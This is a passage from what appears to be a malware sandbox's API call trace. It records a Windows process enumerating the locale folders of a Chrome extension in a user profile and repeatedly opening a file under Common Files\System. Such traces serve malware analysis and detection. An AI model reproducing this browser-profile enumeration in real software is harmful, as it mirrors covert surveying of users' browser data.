lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.423] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.423] GetLastError () returned 0x12 [0140.423] AreFileApisANSI () returned 1 [0140.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.423] GetFileType (hFile=0x128) returned 0x1 [0140.423] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.424] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.424] GetLastError () returned 0x12 [0140.424] AreFileApisANSI () returned 1 [0140.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.424] GetFileType (hFile=0x128) returned 0x1 [0140.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.468] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.468] GetLastError () returned 0x12 [0140.468] AreFileApisANSI () returned 1 [0140.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.468] GetFileType (hFile=0x128) returned 0x1 [0140.468] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.468] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.469] GetLastError () returned 0x12 [0140.469] AreFileApisANSI () returned 1 [0140.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.469] GetFileType (hFile=0x128) returned 0x1 [0140.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.516] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.516] GetLastError () returned 0x12 [0140.516] AreFileApisANSI () returned 1 [0140.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.516] GetFileType (hFile=0x128) returned 0x1 [0140.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.516] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.516] GetLastError () returned 0x12 [0140.517] AreFileApisANSI () returned 1 [0140.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.517] GetFileType (hFile=0x128) returned 0x1 [0140.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.561] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.561] GetLastError () returned 0x12 [0140.561] AreFileApisANSI () returned 1 [0140.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.561] GetFileType (hFile=0x128) returned 0x1 [0140.562] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.562] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.562] GetLastError () returned 0x12 [0140.562] AreFileApisANSI () returned 1 [0140.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.562] GetFileType (hFile=0x128) returned 0x1 [0140.562] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.608] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.608] GetLastError () returned 0x12 [0140.608] AreFileApisANSI () returned 1 [0140.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.609] GetFileType (hFile=0x128) returned 0x1 [0140.609] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.609] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.609] GetLastError () returned 0x12 [0140.609] AreFileApisANSI () returned 1 [0140.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.609] GetFileType (hFile=0x128) returned 0x1 [0140.610] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.655] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.655] GetLastError () returned 0x12 [0140.655] AreFileApisANSI () returned 1 [0140.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.655] GetFileType (hFile=0x128) returned 0x1 [0140.655] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.656] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.656] GetLastError () returned 0x12 [0140.656] AreFileApisANSI () returned 1 [0140.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.656] GetFileType (hFile=0x128) returned 0x1 [0140.656] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.701] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.702] GetLastError () returned 0x12 [0140.702] AreFileApisANSI () returned 1 [0140.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.702] GetFileType (hFile=0x128) returned 0x1 [0140.702] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.702] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.702] GetLastError () returned 0x12 [0140.703] AreFileApisANSI () returned 1 [0140.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.703] GetFileType (hFile=0x128) returned 0x1 [0140.703] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.758] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.758] GetLastError () returned 0x12 [0140.759] AreFileApisANSI () returned 1 [0140.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.759] GetFileType (hFile=0x128) returned 0x1 [0140.759] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.759] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.759] GetLastError () returned 0x12 [0140.759] AreFileApisANSI () returned 1 [0140.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.760] GetFileType (hFile=0x128) returned 0x1 [0140.760] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.795] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.795] GetLastError () returned 0x12 [0140.795] AreFileApisANSI () returned 1 [0140.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0140.795] GetFileType (hFile=0x128) returned 0x1 [0140.795] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0140.796] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0140.796] GetLastError () returned 0x12 [0140.796] AreFileApisANSI () returned 1 [0140.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0140.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 